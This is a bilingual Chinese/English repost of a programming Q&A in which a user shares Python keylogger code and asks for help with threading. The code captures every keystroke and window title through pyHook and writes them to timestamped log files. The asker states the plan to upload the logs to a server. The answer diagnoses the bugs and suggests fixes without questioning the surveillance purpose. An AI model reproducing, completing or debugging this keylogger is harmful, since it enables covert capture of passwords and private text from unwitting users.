带有pyhook的Python线程 [英] Python threading with pyhook

查看:192
本文介绍了带有pyhook的Python线程的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

import win32api
import win32console
import win32gui
import pythoncom, pyHook , sys, time , os , threading
import shutil ,socket ,datetime
from ftplib import FTP
from threading import Thread 
def fi():
   while True:
        dr =  socket.gethostname()
        if not os.path.exists(dr):
                os.makedirs(dr)
        else:
                pass
        now = datetime.datetime.now()
        p = now.strftime("%Y-%m-%d %H-%M")
        temp_path = dr + '/' + p
        fil =  temp_path + '.txt'
        sys.stdout = open(fil,'w')
        statinfo = os.stat(fil)
        fils = statinfo.st_size
        if(fils > 20):
            now = datetime.datetime.now()
            p = now.strftime("%Y-%m-%d %H-%M")
            temp_path = dr + '/' + p
            fil =  temp_path + '.txt'
            sys.stdout = open(fil,'w')  
        else:
            pass


lastWindow = None
lastWindow=win32gui.GetWindowText (win32gui.GetForegroundWindow())
print lastWindow
def OnKeyboardEvent(event):
        global lastWindow       
        window = event.WindowName
        key = chr(event.Ascii)
        if window != lastWindow:
            start = '-----------------------------------'
            print str(start)
            print window 
            lastWindow = window
        print key
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

if __name__ == '__main__':
    Thread(target = fi).start()
    Thread(target = OnKeyboardEvent(event)).start() 

当文件大小超过20KB时,代码def fi()的第一块正在制作一个新文件.第二个块是键盘记录器,将密钥记录在文件中.我是python和多线程的新手.现在,当我运行此代码.我只能使键盘记录程序正常工作,并且没有文件形成,也没有创建日志.请帮我这个.

The first block of code def fi() is making a new file when the file size goes more than 20KB . The second block is a keylogger and logs the key in the file. I am new to python and multi-threading. Now when i run this code. i can only get the keylogger working and no file is formed and no logs are created. Please help me with this one.

  • 此代码中我需要做的就是创建一个以当前时间命名的日志文件,并将所有关键字记录到该文件中.然后,如果文件超过20KB,则应将旧文件上传到服务器,并使用新的当前时间制作新文件.我是python的新手,这就是为什么我不确定这段代码在什么地方出错以及它在做什么方面的问题.*

推荐答案

第一个问题

您确实创建了两个线程-但第二个线程的目标是 OnKeyboardEvent(event)的返回值.它没有return语句,因此返回值为None,因此线程没有目标.

First problem

You do create two Threads - but the target of the second is the return value of OnKeyboardEvent(event). This has no return-statement, so the return value is None, so the Thread has no target.

您的代码永远不会到达if __name__ == "__main__":部分.至少对我来说,它在pythoncom.PumpMessages()上阻止.

Your code never reaches the if __name__ == "__main__":-part. It blocks on pythoncom.PumpMessages(), at least for me.

起初,我很困惑如何在不引发异常的情况下运行代码-最后一行中的 event尚未在此范围内定义.但是问题2阻止了问题3暂时生效,但是如果您解决了这个问题,那么您也将不得不面对问题3.

At first I was confused how your code could run without throwing an exception - event in the last line isn't defined earlier in this scope. But problem 2 prevents problem 3 from becoming effective at the moment, but if you fix this, you'll have to face number 3 as well.

老实说,我不太了解您要做什么.您绝对应该解决每个问题.

Honestly, I do not really understand what you are trying to do. You should definitely fix each of the problems.

  1. 不要调用线程的目标,请给线程一个函数对象.如果需要参数,请使用Threadargs参数,例如Thread(target = OnKeyboardEvent, args=(event)).start()

  1. Don't call the target of a thread, give the thread a function-object. If you need arguments, use the args-argument of Thread, e.g. Thread(target = OnKeyboardEvent, args=(event)).start()

我不太了解pythoncom的用法.也许pythocom.PumpWaitingMessages()是您想要的?

I do not know the usage of pythoncom too well. Maybe pythocom.PumpWaitingMessages() is what you want?

我不知道您要在这里做什么.为什么要在线程中调用回调函数?该函数没有循环或任何循环,因此它将运行一次并停止.我想这只是一个绝望的尝试?

I have no idea what you're trying to do here. Why do you want to call a callback-function in a Thread? This function has no loop or anything, so it will run once and stop. I guess it was just a desperate try?

一般说明

  • 除非您确实需要重新定义sys.stdout,否则我不建议您重新定义.
  • close()您打开的文件.也许考虑使用with语句.
  • 更好:利用logging-模块.它提供了许多不同的可能性.
  • 创建线程时,请考虑结束.什么时候停止?如何从另一个线程停止它?
  • General remarks

    • I'd not recommend redefining sys.stdout unless you really have to do so.
    • Please close() files you open. Maybe consider using the with-statement.
    • Even better: make use of the logging-module. It offers a lot of different possibilities.
    • When you create a Thread, think about the end. When will it stop? How can you stop it from another Thread?
    • 这篇关于带有pyhook的Python线程的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆